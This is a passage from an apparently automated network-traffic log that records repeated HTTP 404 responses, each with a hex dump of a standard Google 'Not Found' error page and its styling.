69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:48 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:49 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:50 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:54 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:56 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 